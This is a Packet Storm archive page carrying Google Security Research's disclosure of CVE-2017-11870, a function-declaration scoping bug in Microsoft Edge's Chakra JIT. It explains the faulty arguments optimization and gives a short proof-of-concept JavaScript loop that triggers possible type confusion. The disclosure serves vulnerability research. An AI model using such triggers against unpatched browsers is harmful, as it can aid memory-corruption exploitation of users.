Twenty Year Anniversary

Microsoft Edge Chakra JIT Incorrect Function Declaration Scope

Microsoft Edge Chakra JIT Incorrect Function Declaration Scope
Posted Nov 25, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra JIT suffers from an incorrect function declaration scope.

tags | exploit
advisories | CVE-2017-11870
MD5 | 3f27494ced33a270a79920688e517df8

Microsoft Edge Chakra JIT Incorrect Function Declaration Scope

Change Mirror Download
Microsoft Edge: Chakra: JIT: Incorrect function declaration scope 

CVE-2017-11870


In the following JavaScript code, both of the print calls must print out "undefined" because of "x" is a formal parameter. But the second print call prints out "function x() { }". This bug may lead to type confusion in JITed code.

function f(x) {
print(x);

{
function x() {

}
}

print(x);
}

The following code in "PreVisitFunction" is used to decide how to optimize arguments.
bool doStackArgsOpt = (!pnode->sxFnc.HasAnyWriteToFormals() || funcInfo->GetIsStrictMode());

"HasAnyWriteToFormals" set by "Parser::BindPidRefsInScope" returns true in the following example code where "x" is formal. But the method can't detect the above buggy case, so it may end up wrongly optimizing arguments.

function f(x) {
x = 1;
}


PoC:
function f(x) {
arguments;

{
function x() {
}
}
}

for (let i = 0; i < 10000; i++)
f();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    45 Files
  • 16
    Nov 16th
    11 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close